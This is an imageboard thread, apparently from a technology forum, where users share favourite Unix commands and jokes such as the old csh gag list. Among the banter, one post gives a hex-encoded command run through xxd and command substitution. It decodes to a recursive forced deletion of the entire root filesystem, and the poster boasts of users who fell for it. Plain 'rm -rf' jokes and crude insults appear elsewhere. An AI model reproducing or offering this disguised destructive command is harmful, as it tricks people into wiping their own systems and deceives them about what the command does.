What is your favourite Unix command? Mine is yes

cat

>>57072791
finger

>>57072799

cat file | grep exp

>>57072865
Unnecessary use of cat.

>>57072791
ls

>>57072882
>Unnecessary use of cat.
thatwasthejoke.jpg

>>57072882
ls | cat

apt-get moo

>>57072852

I c wat u did there

emacs

cowsay

kill

dd

lst

It's an alias for ls --sort=time

sudo

>>57074861

>baby uses Linux

sudo is not a Unix command newfag

>>57074873
The hell? sudo's available for almost every unix in current development.

>>57074904

>sudo's available for almost every unix in current development
>almost

Are you saying that sudo is not part of the one-Unix standard? Thank you for proving my point.

>>57072791
halt

>>57074778
cowsay -f bong "gnu + linyx"

>>57074861
yum

>>57075156
>rm -rf ~
i'd rather not

>>57075191
Nobody said you should

$(echo 7375646f20726d202d7266202f202d2d6e6f2d70726573657276652d726f6f74 | xxd -r -p)

This command has given me nights of tremendous laughter, and taught me never to underestimate a user.

find and cpio

>>57075451
You're aware this will ask for a password right? Weak shit.

(echo 7365 6e73 6962 6c65 2d62 726f 7773 6572 2073 7461 6c6c 6d61 6e2e 6f 72 67 | xxd -r -p) 

>>57075552
You're doing it wrong. Also
>sensible-browser

>>57072791
I like grep.

screenfetch, so I can behold in awe my superior arch logo

>startx
:^)

>>57072791
man

>>57075513
That's why I said this taught me to never underestimate a user

>>57072791
lsblk

% cat "food in cans"
cat: can't open food in cans

% nice man woman
No manual entry for woman.

% rm God
rm: God nonexistent

% ar t God
ar: God does not exist

% ar r God
ar: creating God

% "How would you rate Quayle's incompetence?
Unmatched ".

% [Where is Jimmy Hoffa?
Missing ].

% ^How did the sex change operation go?
^ Modifier failed.

% If I had a ( for every $ the Congress spent, what would I have?
Too many ('s.

% make love
Make: Don't know how to make love. Stop.

% sleep with me
bad character

% got a light?
No match.

% man: why did you get a divorce?
man:: Too many arguments.

% !:say, what is saccharine?
Bad substitute.

% %blow
%blow: No such job.

/* not csh but sh */
$ PATH=pretending!/usr/ucb/which sense
no sense in pretending!

$ drink bottle: cannot open
opener: not found

>>57072791
sed

"rm -rf /" ridiculous

>>57072791
cron and crontab

>ctrl+f "diff"
>0 results
what the frick.

sl is pretty dope

>>57072791
lsof

wget
I use it a lot on websites that can't get their shit to fucking load or process requests correctly through a browser, but for whatever reason wget always works

nano goodbye

>>57076515
This.

man abs

>>57072791
uname

csh or vi
maybe ls or cc

>>57075451

ksh: xxd: not found

>>57072791
Touch

My favorite part of UNIX is when I wipe it with a much superior Windows 10 install.

>>57082039
0/10

xargs?

>>57082067
Good one. I rarely use it though.

>>57074873
>>57074978
Why didn't you feel the need to say that about cowsay? Oh, because you're a fucking asshole